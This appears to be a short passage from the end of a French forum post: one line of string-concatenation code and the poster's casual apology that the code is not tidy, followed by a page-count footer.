"-" + three + "-" + four
Je tiens à m'excuser si le code n'est pas très explicite, mais j'ai juste supra la flemme de tout clean :].
Pages : 1